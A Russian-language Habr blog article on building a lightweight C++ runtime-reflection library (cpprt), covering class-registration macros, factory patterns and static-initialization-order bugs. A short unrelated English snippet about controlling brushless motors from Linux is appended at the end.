class Deserializer {
int loadInt(const char *inName) { ... }
void loadString(const char *inName, std::string &outValue) { ... }
// . . .
ISerializable *loadObject() {
// А вот тут нужно как-то узнать класс, который
// был у сохранённого объекта – иначе не ясно, объект
// какого класса создавать
ISerializable *theObject = new < ??? >( )
theObject->load(this);
return theObject;
}
};
```
Вывод: код методов для сохранения объектов должен быть расширен с использованием какого-нибудь API. Время прототипировать!
```
void saveObject(ISerializable *inObject) {
// Сохранение идентификатора, задающего тип сохраняемого объекта
this->saveObjectType(inObject->classID()); // <<<--– classID()
inObject->save(this);
};
ISerializable *loadObject() {
// Создание объекта через фабрику на основе загружаемого идентификатора
ISerializable *theObject = objectFabric().create(
this->loadObjectType());// <<<--– objectFabric().create(...)
theObject->load(this);
return theObject;
};
```
Накидав таким образом общий вид нужного API, я взялся за поиск решения, которое предоставляло бы подобный функционал.
### 2. Поиск решения
Для начала я погуглил, чтобы узнать, что по поводу нужного поведения думают люди. Хотелось чего-то легковесного, без тысячи зависимостей, без использования вспомогательных систем вроде [Qt MOC](http://doc.qt.io/qt-4.8/moc.html) (ещё [статья](https://habrahabr.ru/post/214379/) на тему) и, помимо всего прочего, простого в использовании. Найти готовое решение в виде библиотеки, удовлетворяющей заданным критериям, не удалось.
**Примечание**Как я писал выше, уже во время написания статей появилась ссылка на обзор качественных существующих решений ([вот она](https://habrahabr.ru/post/257071/) ещё раз). Очень странно, что google по запросу «c++ reflection» выдавал первой ссылку на странную статью [«Мой велосипед к reflection в c++»](https://habrahabr.ru/post/243571/), а не на эту релевантную публикацию.
Я начал думать, как реализовать подобный функционал самостоятельно.
Решения, в общем и целом, крутились вокруг описания фабричных функций и/или классов, которые регистрировались и использовались дальше через некий механизм, который выбирал нужную фабрику в зависимости от переданного имени класса. В рамках данной статьи я решил выделить [вот этот](http://stackoverflow.com/questions/582331/is-there-a-way-to-instantiate-objects-from-a-string-holding-their-class-name/582456#582456) ответ на stackoverflow (авторства [Johannes Schaub](http://stackoverflow.com/users/34509/johannes-schaub-litb), спасибо ему за идею), так как в нём воплотились основные подходы, найденные в сети.
Первая идея, предложенная Johannes Schaub, подразумевала использование шаблонной фабричной функции и сохранение её специализаций в словаре. Идея сама по себе мне не очень понравилась – механизм выглядел как-то незавершённо, без красивой объектной обёртки. Тем не менее, некоторые отголоски подобной реализации можно обнаружить в получившейся финальной реализации cpprt (использование фабричных классов).
Вторая идея от Johannes Schaub: включение механизма регистрации фабрик в конструкторы классов, которые [конструкторы] вызывались при создании статических объектов этих классов. Эта идея мне понравилась, особенно с учётом предложенных макросов: макросы позволяли скрывать детали механизма регистрации, за счёт чего этот механизм можно было бы менять от версии к версии библиотеки без побочных эффектов для пользователей кода.
Привожу здесь решение Johannes Schaub с минимальными изменениями и со своими комментариями:
**Решение от Johannes Schaub**
```
// in base.hpp:
// Шаблонная фабричная функция. Создаёт объект произвольного типа.
// Здесь упоминается некий класс Base, который Johannes, как я понимаю,
// рассматривает в качестве базового для всех регистрируемых классов.
// В принципе, из фабричной функции можно было бы возвращать указатель
// на void, обобщив, таким образом, решение.
// Но если выделить некий базовый регистрируемый класс Base, то можно
// сделать механизм регистрации типов более удобным
|| (о чём будет рассказано дальше).
template< typename T > Base * createT() { return new T; }
// Базовый класс для "регистраторов" фабричных функций
struct BaseFactory {
// Словарь, с помощью которого мы сможем получать указатель
// на специализацию фабричной функции по строковому имени
// класса. Такой словарь можно создать за счёт того, что все
// специализации функции createT имеют одинаковую сигнатуру
// (возвращают одинаковый тип и отличаются только реализацией).
typedef std::map< std::string, Base*(*)() > map_type;
// Метод для создания объектов по строковым именам их
// классов... Думаю, тут всё и так ясно.
static Base *createInstance(std::string const& s) {
map_type::iterator it = getMap()->find(s);
return (it == getMap()->end()) ? NULL : it->second();
}
protected:
// Этот метод, а также следующий указатель-статическая
// переменная map реализуют вместе шаблон синглтон. В этом
// синглтоне хранится глобальный словарь, связывающий
// фабричные функции со строковыми именами.
static map_type * getMap() {
// Комментарий Johannes Schaub:
// never delete'ed. (exist until program termination)
// because we can't guarantee correct destruction order
if(!map) { map = new map_type; }
return map;
}
private:
static map_type * map;
};
// Класс, в конструкторе связывающий специализацию фабричной
// функции со строковым именем. Фактически, вызов конструктора
// данного класса – это всё, что нужно, чтобы для класса T можно было
// выполнять конструирование объектов по строковому имени класса.
template< typename T >
struct DerivedRegister : BaseFactory {
DerivedRegister(std::string const& s) {
getMap()->insert(std::make_pair(s, &createT< T >));
}
};
// in derivedb.hpp
// Тестовый класс, который регистрируется через механизм,
// созданный Johannes Schaub. Насколько я понимаю, Johannes Schaub
// забыл унаследовать его от Base. Я исправил это:
class DerivedB : public Base {
...;
private:
// Здесь мы имеем предекларацию статической переменной reg.
static DerivedRegister< DerivedB > reg;
};
// in derivedb.cpp:
// Здесь (в файле, где расположена реализация класса DerivedB)
// описывается сама статическая переменная, в конструкторе которой
// выполняется связывание фабричного метода со строковым именем.
// Во время статической инициализации будет вызван конструктор
// специализации DerivedRegister< DerivedB > и пройдёт связывание
// фабричной функции с именем DerivedB
DerivedRegister< DerivedB > DerivedB::reg("DerivedB");
```
Johannes Schaub предложил также макросы для упрощения регистрации типов. Они позволяют закрыть особенности реализации системы регистрации и делают код лаконичнее:
**Макросы от Johannes Schaub**
```
#define REGISTER_DEC_TYPE(NAME) \
static DerivedRegister reg
#define REGISTER\_DEF\_TYPE(NAME) \
DerivedRegister NAME::reg(#NAME)
```
Я взял решение Johannes Schaub за основу, чуть изменив его по своему вкусу.
### 3. Первая реализация
В решении Johannes Schaub имелся шаблонный класс DerivedRegister, объекты специализаций которого создавались как статические поля в рамках регистрируемых классов (static DerivedRegister reg). Первым делом я решил перенести фабричные функции в класс DerivedRegister в качестве фабричных методов. За счёт этого, помимо упрощения кода, появлялась возможность расширять метаинформацию о регистрируемых классах простым добавлением полей в класс DerivedRegister.
Также я перенёс информацию о строковом имени классов в свой аналог DerivedRegister, начав таким образом использовать его, как хранилище метаинформации (пока в качестве метаинформации выступало только строковое имя класса).
Вышла, фактически, реализация шаблона проектирования [абстрактная фабрика](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%B0%D1%8F_%D1%84%D0%B0%D0%B1%D1%80%D0%B8%D0%BA%D0%B0_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) с кое-какими наворотами для возможности выполнения кода регистрации метаданных до старта функции main():
**ClassManager.h**
```
// Обобщённый менеджер классов (аналог DerivedRegister из решения
// Johannes Schaub). Содержит в себе типичную для любого класса
// метаинформацию. Требует от наследников реализовывать фабричный
// метод createAbstractObject()
//
class IClassManager {
private:
const char *_name;
public:
IClassManager(const char *inClassName) : _name(inClassName) { }
//-– Workflow
const char *name() const { return _name; }
virtual IManagedClass *createAbstractObject() = 0;
};
//-----------------------------------------------------------------
// Реализация менеджера классов. Реализует фабричный
// метод и берёт на себя задачу регистрации самого себя
// в системе регистрации метаинформации о классах.
// Регистрация выполняется в рамках конструктора.
template
class ClassManager : public IClassManager {
public:
// Регистрация фабрики выполняется, как и в коде
// Johannes Schaub, вот тут, в конструкторе:
ClassManager(const char \*inClassName) : IClassManager(inClassName) {
globalRuntime.registerClass(this);
}
T\_Type \*createObject() { return new T\_Type(); }
virtual IManagedClass \*createAbstractObject() { return createObject(); }
};
```
Переменная globalRuntime – это глобальный объект, который выделен для управления всей метаинформационной машинерией. Фактически, просто объектная обёртка вокруг вектора, хранящего объекты специализаций ClassManager.
Рассмотрим код класса, объект которого – это globalRuntime. Думаю, суть его работы будет ясна без комментариев:
**CPPRuntime.h**
```
class CPPRuntime {
private:
std::vector< IClassManager * > _registries;
IClassManager *managerByName(const char *inName);
public:
CPPRuntime() : _registries() { }
void registerClass(IClassManager *inClass);
IManagedClass *createObject(const char *inClassName);
};
//-----------------------------------------------------------------------------
extern CPPRuntime globalRuntime;
```
**CPPRuntime.cpp**
```
IClassManager *CPPRuntime::managerByName(const char *inName) {
for (size_t theIndex = 0, theSize = _registries.size();
theIndex < theSize; ++theIndex)
{
if (0 == strcmp(_registries[theIndex]->name(), inName)) {
return _registries[theIndex];
}
}
return NULL;
}
//-– Registering
void CPPRuntime::registerClass(IClassManager *inClass) {
_registries.push_back(inClass);
}
//-– Public API
IManagedClass *CPPRuntime::createObject(const char *inClassName) {
IClassManager *theRegistry = managerByName(inClassName);
//TODO: Through an exception if no class found
return theRegistry->createAbstractObject();
}
//-----------------------------------------------------------------------------
CPPRuntime globalRuntime;
```
Оставалось описать базовый класс IManagedClass (аналог класса Base из решения Johannes Schaub) и создать макросы для упрощения механизма регистрации классов.
В связи с описанием базового класса IManagedClass, следует вспомнить API, ради которого всё затевалось:
1. **API для загрузки данных**. Возможность создавать объект по идентификатору:
*objectFabric().create(inObjectID)*
Это готово, метод globalRuntime.createObject(«ClassName»).
2. **API для сохранения данных**. Возможность получать идентификатор класса объекта:
*object->classID()*
*Решение, предложенное Johannes Schaub, не включало в себя подобное API. Его придётся реализовывать самостоятельно*.
Я набросал use case для наследования IManagedClass на примере одного класса. Думаю, тут тоже все будет более или менее ясно без лишних комментариев:
**TestClass.h**
```
//---------------------------------------------------------------------------------------------------
// Базовый класс, с которым взаимодействует разрабатываемая система.
// Задаёт принципы получения метаинформации для объектов всех
// регистрируемых классов.
class IClassManager {
public:
virtual IClassManager *getRegistry() = 0;
};
//---------------------------------------------------------------------------------------------------
// Класс пользователя, наследующий базовый класс. Пользователь должен
// наследовать базовые классы своих иерархий от базового класса чтобы
// иметь возможность привязывать в ним метаданные и получить доступ
// к метаданным во время исполнения программы.
class TestClass : public IClassManager {
public:
// Служебный код для регистрации класса. Его стоит закрыть за макросом.
static ClassManager< TestClass > gClassManager;
virtual IClassManager *getRegistry() { return &gClassManager }
public:
};
```
**TestClass.cpp**
```
// Вызов конструктора объекта gClassManager должен зарегистрировать
// фабрику для создания экземпляров класса TestClass по строковому
// имени этого класса. Данный код тоже стоило бы закрыть за макросом.
ClassManager< TestClass > TestClass::gClassManager("TestClass");
```
Я запустил код с использованием этого класса, а именно, отдебажил вызов globalRuntime.createObject(«TestClass»). Объект благополучно создался.
Оставалось описать макросы, которые сняли бы с пользователя необходимость вручную делать копи-пасту кода для регистрации классов:
**Macros.h**
```
#define CPPRT_DECLARATION(M_ClassName)\
public:\
static ClassManager< M_ClassName > gClassManager;\
virtual IClassManager *getClassManager() { return &gClassManager }\
protected:\
// Что приятно, это решение будет работать в том числе для классов, вложенных в namespace.
#define CPPRT_IMPLEMENTATION(M_ClassName) ClassManager< M_ClassName > M_ClassName::gClassManager(#M_ClassName);
```
**Примечание:** Тут впервые упоминается префикс CPPRT. Это сокращение от слов *C Plus Plus Run Time*.
Макрос был готов. Принцип его использования не отличался от принципов использования макроса, предложенного Johannes Schaub:
**Принцип использования макроса**Например, мы хотим зарегистрировать класс TestClass. Декларируем класс:
```
//--– TestClass.h ---
class TestClass : public IClassManager {
// Этот макрос лучше всего прописывать в начале декларации
// класса – чтобы гарантированно не поменять спецификатор
// доступа, задаваемый в начале декларации классов как protected
CPPRT_DECLARATION(TestClass)
. . .
};
```
Дальше создаём файл реализации. В файле реализации используем макрос для описания статического объекта, хранящего информацию о классе CPPRT\_IMPLEMENTATION (вспоминаем, через макрос CPPRT\_DECLARATION мы этот объект только декларировали).
```
//--– TestClass.cpp ---
CPPRT_IMPLEMENTATION(TestClass)
```
Готово! Дрожа от нетерпения, я обвязал описанными макросами иерархию своих классов, реализовал методы сериализации/десериализации с использованием свежесозданного API, запустил код…
Ура! Объекты корректно сохранялись и загружались, сохраняя свой тип! Я хорошенько всё оттестировал, сохраняя объекты разных классов. Работало! Совершенно не ожидал, что сходу всё так просто заведётся…
### 4. Первые проблемы и борьба с ними
… и я был совершенно прав. На самом деле, в написанном коде была одна опасная ошибка. В какой-то момент – а именно, когда я добавил очередной зарегистрированный класс – всё поломалось. Некоторые классы перестали регистрироваться, причём признак, по которому отваливалась регистрация классов, я уловить не мог. Рандом какой-то. Я потратил полчаса времени, переходя с дебага на логирование и обратно. Конструктор ClassManager для каждого класса вызывался. Регистрации, соответственно, проходили… Но когда дело доходило до создания объекта некоего класса globalRuntime.createObject(«SomeHellClass»), то оказывалось, что в массиве зарегистрированных менеджеров классов отсутствует ClassManager для класса SomeHellClass.
Минут тридать мне казалось, что кто-то из нас двоих сошёл с ума: либо я, либо С++. И, как всегда, выяснилось, что с ума сошёл всё-таки я. Всё стало на свои места, когда я попробовал добавлять/удалять исходники для передачи их на компиляцию. Каждый раз при этом менялся набор классов, регистрация которых «отваливалась». То есть дело было в порядке компиляции исподников.
Люди, которые внимательно читали код, думаю, уже поняли в чём причина ошибки.
Обратите внимание на то, как был определён globalRuntime:
```
//--– CPPRuntime.h ---
extern CPPRuntime globalRuntime;
//--– CPPRuntime.cpp ---
CPPRuntime globalRuntime;
```
Это глобальный объект. Не вложенный в функцию и создаваемый, таким образом, в момент первого вызова функции, а просто глобальный объект.
При этом вспомним реализацию конструктора шаблонного класса ClassManager, в котором объекты специализации ClassManager регистрируют самих себя в рамках объекта globalRuntime:
```
//--– ClassManager.h ---
ClassManager(const char *inClassName)
: IClassManager(inClassName)
{
globalRuntime.registerClass(this);
}
```
И вспомним ещё, как создаются объекты специализаций ClassManager (они описываются через макросы):
```
#define CPPRT_DECLARATION(M_ClassName)\
public:\
static ClassManager< M_ClassName > gClassManager;\
virtual IClassManager *getClassManager() { return &gClassManager }\
protected:\
#define CPPRT_IMPLEMENTATION(M_ClassName)\
ClassManager< M_ClassName > M_ClassName::gClassManager(#M_ClassName);
```
Объекты специализаций ClassManager (например, объект SomeHellClass::gClassManager) тоже являются глобальными переменными!.. Должны являться глобальными переменными: ведь важно, чтобы для каждого такого объекта выполнялся конструктор до запуска main(), иначе не будет выполняться регистрация таких объектов.
А теперь вспомним: в каком порядке вызываются конструкторы глобальных и статических переменных в С++?.. Да, верно. В произвольном порядке ([stackoverflow](http://stackoverflow.com/questions/1271248/c-when-and-how-are-c-global-static-constructors-called/1271692#1271692), цитата из Стандарта там тоже имеется). Что же из этого следует?
А из этого следует возможность того, что конструктор объекта globalRuntime может вызываться *после* того, как вызвались конструкторы каких-либо специализаций ClassManager. Ситуация очень нехорошая: в конструкторах объектов специализаций ClassManager (объекты с именами gClassManager) может происходить обращение к методам объекта, который ещё не было создан (globalRuntime). Такое поведение могло привести к какому-нибудь свалу, но не приводило – что ещё хуже в данном случае. Типичный undefined behavior.
Не делайте так. Никогда.
**Необязательно примечание**Самое забавное, что происходи доступ к объекту globalRuntime откуда-нибудь из «обычного» кода, который корнями коллстека уходит в main(), проблемы не было бы: стандарт гарантирует, что конструктор глобального объекта должен быть вызван до вызова main().
Фикс проблемы был очевиден: для корректного доступа к объекту нужно было реализовать одну из вариаций [синглтона Мейерса](http://stackoverflow.com/questions/17712001/how-is-meyers-implementation-of-a-singleton-actually-a-singleton) (более подробная [статья о синглтонах](https://habrahabr.ru/post/147373/), там можете найти и про этот синглтон):
~~*extern CPPRuntime globalRuntime;*~~
```
//--– CPPRuntime.h ---
CPPRuntime &globalRuntime();
```
~~*CPPRuntime globalRuntime;*~~
```
//--– CPPRuntime.cpp ---
CPPRuntime &globalRuntime() {
// Да, знаю, такой подход не дружит с многопоточностью, но
// это пока не критично и легко исправляется – ведь у нас не
// header only код. Пулреквестните, если желаете thread safe...
static CPPRuntime sCPPRuntime;
return sCPPRuntime;
}
```
Доступ через функцию обеспечивает гарантированное создание объекта класса CPPRuntime в любой момент времени, из любого места в коде.
После фикса оставалось только внести изменение в конструктор специализаций ClassManager, в котором осуществлялся доступ к объекту класса CPPRuntime:
```
ClassManager(const char *inClassName)
: IClassManager(inClassName)
{
// Теперь обращаемся к объекту CPPRuntime безопасным путём,
// через функцию globalRuntime()
globalRuntime().registerClass(this);
}
```
Я хорошенько погонял код по разным иерархиям объектов, изменяя перечень исходников, отправляемых на компиляцию – чтобы точно проверить, что теперь-то уж всё хорошо.
Всё действительно было хорошо.
Шло время, основная библиотека жила своей жизнью, развивалась. И вот в какой-то момент понадобился новый функционал…
### 5. Генеалогия классов
В какой-то момент возникла необходимость собирать информацию о наследниках классов во время исполнения программы. Я не буду вдаваться в детали, зачем именно это понадобилось – об этом расскажу как-нибудь, когда придёт время опубликовать основную библиотеку. Чтобы вести более предметный разговор, предположим, что это было нужно для отладочных целей: для удобства просмотра информации о регистрированных классах для особо крупных проектов.
Решение из boost (is\_base\_of) не подошло по причине его ориентированности на использование в compile time (об [особенностях работы](http://stackoverflow.com/questions/2910979/how-does-is-base-of-work) is\_base\_of и об [API](http://www.boost.org/doc/libs/1_58_0/libs/type_traits/doc/html/boost_typetraits/reference/is_base_of.html) этой структуры в документации boost).
И вот оно, опять… Время прототипировать!
API виделось где-то таким:
```
std::vector< IClassManager * > theChildManagers;
// Сохранение в массив объектов специализаций ClassManager
// (приведённых к общему для них базовому типу IClassManager)
// для классов-наследников класса BaseClass.
globalRuntime(IClassManager).getChildren(BaseClass::gClassManager, theChildManagers);
// И использование полученных данных – распечатка имён
// классов-наследников класса BaseClass:
std::cout << "Children of class " << BaseClass::gClassManager.name() << std::endl;
for (size_t theIndex = 0, theSize = theChildManagers.size(); theIndex < theSize; ++theIndex) {
std::cout << theChildManagers[theIndex]->name() << std::endl;
}
```
Ясно, что имея подобное API, можно было бы печатать полные деревья наследования классов, начиная с любого родительского класса.
Набросав таким образом ориентировочный вид API для доступа к новым метаданным о наследовании, я принялся думать, как реализовать регистрацию с минимальным усложнением API регистрации классов.
Я выбрал самое простое решение: добавить в ClassManager массивы для хранения указателей на ClassManager наследников и базовых классов. Вот так вот:
**ClassManager.h**
```
class IClassManager {
private:
. . .
// Массивы для хранения информации о
// родственных отношениях класса
std::vector< IClassManager *> _parents;
std::vector< IClassManager *> _children;
protected:
// Метод, добавляющий ссылку на ClassManager для
// базовых классов
void setParent(IClassManager *inParent) {
_parents.push_back(inParent);
inParent->_children.push_back(this);
}
. . .
};
//-----------------------------------------------------------------
template
class ClassManager : public IClassManager {
. . .
public:
// Изменения в конструкторах, думаю,
// не требуют комментариев
ClassManager(const char \*inClassName)
: IClassManager(inClassName)
{
globalRuntime().registerClass(this);
}
ClassManager(const char \*inClassName,
IClassManager \*inParent0)
: IClassManager(inClassName)
{
globalRuntime().registerClass(this);
setParent(inParent0);
}
ClassManager(const char \*inClassName,
IClassManager \*inParent0,
IClassManager \*inParent1)
: IClassManager(inClassName)
{
globalRuntime().registerClass(this);
setParent(inParent0);
setParent(inParent1);
}
// И т.д., для большего количества базовых классов
. . .
};
```
После этого нужно было обновить макросы для регистрации классов с разным числом базовых классов:
**Macros.h**
```
// 0 parents
#define CPPRT_IMPLEMENTATION_0(M_Class)\
ClassManager< M_Class > M_Class::gClassManager(#M_Class);
// 1 parent
#define CPPRT_IMPLEMENTATION_1(M_Class, M_BaseClass0)\
ClassManager< M_Class > M_Class::gClassManager(#M_Class,\
&M_BaseClass0::gClassManager);
// 2 parents
#define CPPRT_IMPLEMENTATION_2(M_Class, M_BaseClass0, M_BaseClass1)\
ClassManager< M_Class > M_Class::gClassManager(#M_Class,\
&M_BaseClass0::gClassManager,\
&M_BaseClass1::gClassManager);
// И т.д., для большего количества базовых классов
```
Теперь остаётся добавить в CPPRuntime метод, с помощью которого будем обходить базовые классы для всех зарегистрированных специализаций ClassManager. Код для обхода наверняка знаком тем, кто имел дело с обработкой деревьев:
**CPPRuntime.h**
```
class CPPRuntime {
. . .
private:
// Функция, реализующая рекурсивный обход
void CPPRuntime:: getClassRegistries_internal(
IClassManager *inClassManager,
std::vector &outRegistries)
public:
// Функция, входящая в интерфейс класса CPPRuntime.
// Просто вызывает из себя getClassRegistries\_internal(...)
// Так сделано, чтобы не засорять пользовательское API возможными
// деталями реализации обхода дерева.
void getChildren(IClassManager \*inBaseRegistry,
std::vector< IClassManager \*> inChildRegistries);
. . .
};
. . .
```
**CPPRuntime.cpp**
```
. . .
void CPPRuntime::getClassRegistries_internal(
IClassManager *inRegistry,
std::vector &outRegistries)
{
// Добавляем текущий ClassManager в результирующий список
outRegistries.push\_back(inRegistry);
std::vector< IClassManager \* > &theChilds = inRegistry->\_childs;
for (size\_t theIndex = 0, theSize = theChilds.size(); theIndex < theSize;
++theIndex)
{
// Вызываем эту же функцию для всех наследников
// текущего ClassManager
getClassRegistries\_internal(theChilds[theIndex], outRegistries);
}
}
void CPPRuntime::getChildren(IClassManager \*inBaseRegistry,
std::vector< IClassManager \*> &outRegistries)
{
getClassHeirarhieNames\_internal(inBaseRegistry, outRegistries);
}
. . .
```
Данный код не собирался из-за нарушения инкапсуляции (доступ к полю inRegistry->\_childs в методе CPPRuntime:: getClassRegistries\_internal). Чтобы не засорять пользовательский интерфейс классов ClassManager геттером поля \_children, я использовал ключевое слово [friend](http://cppstudio.com/post/8423/). Согласен, что решение неуклюжее, но лишний геттер это тоже плохо:
**ClassManager.h**
```
template< typename T_Type >
class ClassManager : public IClassManager {
. . .
// Чтобы CPPRuntime имел доступ к _children.
friend class CPPRuntime;
. . .
};
```
После добавления friend код собрался. Больше того, код заработал — я получил распечатанный список наследников класса.
Но я теперь был научен горьким опытом. На всякий случай решил сразу потестить, добавляя/удаляя файлы в рамках проекта. И опять вылез косяк: сплошь и рядом информация о наследовании не заполнялась… Причём массивы \_parents заполнялись правильно, а вот \_children – нет. Догадались в чём проблема?
Проблема всё та же: неопределённый порядок вызова конструкторов глобальных переменных. Вся инициализация информации о классе происходила в конструкторе ClassManager:
**Macros.h**
```
#define CPPRT_IMPLEMENTATION_NO_PREFIX_1(M_Class, M_BaseClass0)\
ClassManager< M_Class > M_Class::gClassManager(\
#M_Class,\
&M_BaseClass0::gClassManager);
```
В данном коде передаётся адрес объекта специализации ClassManager родительского класса (*&M\_BaseClass0::gClassManager*) в объект специализации ClassManager регистрируемого класса (*M\_Class::gClassManager*), после чего в конструкторе вызывается метод setParent(...):
**ClassManager.h**
```
class IClassManager {
. . .
void setParent(IClassManager *inParent) {
_parents.push_back(inParent);
inParent->_children.push_back(this); // <<<--– ВОТ ЭТА СТРОЧКА!
}
. . .
};
```
Указанная в коде строчка обращается к полю ClassManager родительского класса… Но конструктор объекта специализации ClassManager родительского класса может быть ещё не вызван, ведь оба этих объекта на равных правах статических объектов классов!
Опять имеем обращение к полю ещё не созданного объекта.
Я сел за поиск решения сложившейся проблемы. И вот тут возникла дилемма. Дело в том, что в отличие от синглтона globalRuntime(), создание объектов специализаций ClassManager *должно происходить* гарантированно для каждого класса, а не по запросу. Создание этих объектов несёт *функциональную нагрузку*: в рамках конструкторов специализаций ClassManager выполняется логика регистрации классов и заполнения метаинформации о классах. Если эта логика не будет выполнена в рамках gClassManager для некоего класса SomeHellClass, метаинформация о наследовании для классов, базовых для SomeHellClass, окажется не заполненной.
**Подробнее**Давайте рассмотрим, что будет, если организовать «синглтон по запросу» для специализаций ClassManager, вроде того, как это сделано для объекта класса CPPRuntime. Код напишем, «раскрывая» макросы и опуская методы для полиморфного доступа к объектам специализаций ClassManager (реализации виртуальных методов *virtual IClassManager \*getRegistry()*):
```
//----– Declaration.h -----
class Base {
public:
static ClassManager *getClassManager( );
};
class Child {
public:
static ClassManager \*getClassManager( );
};
class ChildOfChild {
public:
static ClassManager \*getClassManager( );
};
```
```
//----– Declaration.cpp -----
ClassManager *Base::getClassManager() {
static ClassManager gClassManager("Base");
return &gClassManager
}
ClassManager \*Child::getClassManager() {
static ClassManager gClassManager("Child",
Base::getClassManager());
return &gClassManager
}
ClassManager \*ChildOfChild::getClassManager() {
static ClassManager gClassManager("ChildOfChild",
Child::getClassManager());
return &gClassManager
}
```
А теперь давайте глянем, что будет, если мы захотим пройтись по наследникам, например, класса Child. Для этого, по крайней мере, придётся получить доступ к ClassManager для данного класса. Вот так:
```
ClassManager \*theManager = Child::getClassManager();
```
При вызове getClassManager() будет выполняться следующий код:
```
. . .
static ClassManager gClassManager("Child", Base::getClassManager()); // <<---!!!
return &gClassManager
. . .
```
Здесь будет создан объект, в который через вызов Base::getClassManager() будет передана информация о родительском классе… НО информация о наследниках при этом не будет получена! Она будет получена только при вызове ChildOfChild::getClassManager(). Чтобы окончательно прояснить ситуацию, вспомним, как регистрируется информация о наследовании:
```
// Конструктор специализации ClassManager
. . .
globalRuntime().registerClass(this);
IClassManager::setParent(inParent0); // <<<--- !!!
. . .
```
Вот. Строчка, из-за которой возникает проблема, выделена восклицательными знаками. Регистрация информации о наследниках происходит во время регистрации специализации ClassManager **для класса-наследника**. Если getClassManager() для наследника не будет вызван, в массив \_child для родительского класса не попадёт указатель на объект специализации ClassManager для наследника.
И главная проблема в том, что по-другому регистрировать информацию о наследовании невозможно – это будет противоречить принципам, заложенным в механизме наследования самого С++, а значит, будет громоздко и неудобно в использовании.
Таким образом, *с одной стороны*, во время инициализаций ClassManager должно быть гарантировано, что конструктор для родителя уже выполнился, и гарантировать это можно только если организовать доступ к объекту специализации ClassManager через вызов функции, как это делается для объекта CPPRuntime.
*С другой же стороны*, для каждого класса инициализация должна быть гарантированна, значит, для каждого класса должна быть гарантированно вызвана функция для доступа к объекту специализации ClassManager. А вызывать метод или функцию вне коллстека функции main() разрешается, только если её исполнение входит в dynamic initialization для глобальных переменных. Поэтому нужно, чтобы результат исполнения функции чему-нибудь присваивался.
Первый фикс проблемы был сделан, исходя из следующего принципа: несмотря на то, что объекты не инициализированы, они всё же существуют и, значит, обладают адресами. Соответственно, в момент регистрации можно сохранять указатели в неком массиве, даже когда конструктор ClassManager не был вызван – а для сохранения информации об отношении между классами использовать индексы указателей в рамках этого массива:
**ClassManager.h**
```
class IClassManager {
. . .
std::vector< int > _parentsIndexes;
std::vector< int > _childIndexes;
. . .
void setParent(IClassManager *inParent) {
_parentIndexes.push_back(globalRuntime().indexOf(inParent));
inParent->_childIndexes.push_back(globalRuntime().indexOf(this));
}
. . .
};
```
**CPPRuntime.h**
```
class CPPRuntime {
. . .
std::vector< IClassManager * > _registries;
. . .
int indexOf(IClassManager *inRegistry) {
for(int theIndex = 0, theSize = _registries.size();
theIndex < theSize; ++theIndex)
if (_registries[theIndex] == inRegistry) return theIndex;
_registries.push_back(inRegistry);
return _registries.size() – 1;
}
. . .
};
```
Решение было некрасивым и создавало ещё один уровень косвенной адресации, через индексы, что снижало эффективность кода, причем не только во время регистрации классов, но при любом запросе метаинформации (например, при запросе родственников классов).
Ещё один вариант – тоже не особо красивый – использовал обёртку-синглтон для gClassManager. Привожу здесь макрос, который использовался, пока была такая реализация:
**Macros.h**
```
. . .
// 1 parent
#define CPPRT_IMPLEMENTATION_1(M_Class, M_BaseClass0)\
ClassManager< M_Class > *M_Class::getRegistry() {
static ClassManager< M_Class > gClassManager(#M_Class,
&M_BaseClass0:: getRegistry() );
return &gClassManager
}
// Эта конструкция гарантирует, что хотя бы раз пройдёт конструктор
// объекта для специализации ClassManager< M_Class >, а значит, класс
// будет зарегистрирован. Имя переменной делаем таким, чтобы не было
// проблем с повторным использованием макроса в одном cpp-файле.
// Ясно, что переменная при этом лежала мёртвым грузом в течение всей
// работы программы. Не особо большие потери памяти – но грязно,
// грязно ведь!
char __dummy__##M_Class = (char)M_Class::getRegistry();
. . .
```
И уже во время работы над данной статьёй нашлось более изящное решение. Помог один из нюансов пункта 3.6.2 Стандарта. Вот ссылки: на любимый мною [stackoverflow](http://stackoverflow.com/questions/22117310/c-global-variable-initialization-order/22117407#22117407), через который нашёлся этот пункт и на [стандарт](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2012/n3337.pdf) (увы, не знаю, как дать ссылку на раздел в PDF, сами найдите пункт 3.6.2 по оглавлению).
> Variables with static storage duration (3.7.1) or thread storage duration (3.7.2) shall be zero-initialized (8.5) before any other initialization takes place
Это значит, что мы можем применить такую нотацию (псевдокод):
```
getPointer() {
// Проверка корректна, ведь до вызова функции, благодаря
// статической zero-value инициализации, указатель
// гарантированно будет иметь значение, равное нулю
if (!Class::gPointer) { Class::gPointer = initializeValue(); }
return Class::gPointer;
}
Class::gPointer = getPointer();
```
Я использовал этот подход, после чего провёл полную ревизию библиотечного кода. При этом семейство классов ClassManager переехало жить в качестве внутренних классов в CPPRuntime, а сам CPPRuntime получил более широкие полномочия.
В результате указанных изменений удалось ужать код библиотеки до размера пары файлов суммарным объёмом в 450 строчек кода.
### 6. Заключение
Оставляю здесь ссылки на репозитории библиотеки:
1. [Ссылка](https://bitbucket.org/vsemenyakin/cpprt) на «черновой» репозиторий bitbucket. Так выглядел проект до переезда на GitHub. По мотивам истории этого репозитория была написана данная статья.
2. [Ссылка](https://github.com/vsemenyakin/cpprt) на репозиторий GitHub — такой, каким он получился после перевода сборки проекта на CMake (о чём рассказывается в [следующей статье](https://habrahabr.ru/post/281995/)).
Собственно, всё. На этом *данная статья* кончается. Спасибо за внимание!
*Автор заранее благодарит читателей за указания на ошибки в статье, конструктивные советы и пожелания*
**Титры****Редактирование статьи:** Сергей Семенякин
Спасибо [a1ien\_n3t](https://habrahabr.ru/users/a1ien_n3t/) за замечание про формат картинок. Перезалил в jpg.
Спасибо [Sirikid](https://habrahabr.ru/users/sirikid/) за указание на опечатку (const const) в первом спойлере ClassManager.h. | https://habr.com/ru/post/281993/ | null | ru | null |
# Controlling Brushless Motors using a Linux computer or a PLC
In this video, we will look at how to connect brushless motor controllers to a Linux computer. Specifically, we will use a computer running Debian. The same steps would work for Ubuntu Linux and other Linux distributions derived from Debian.
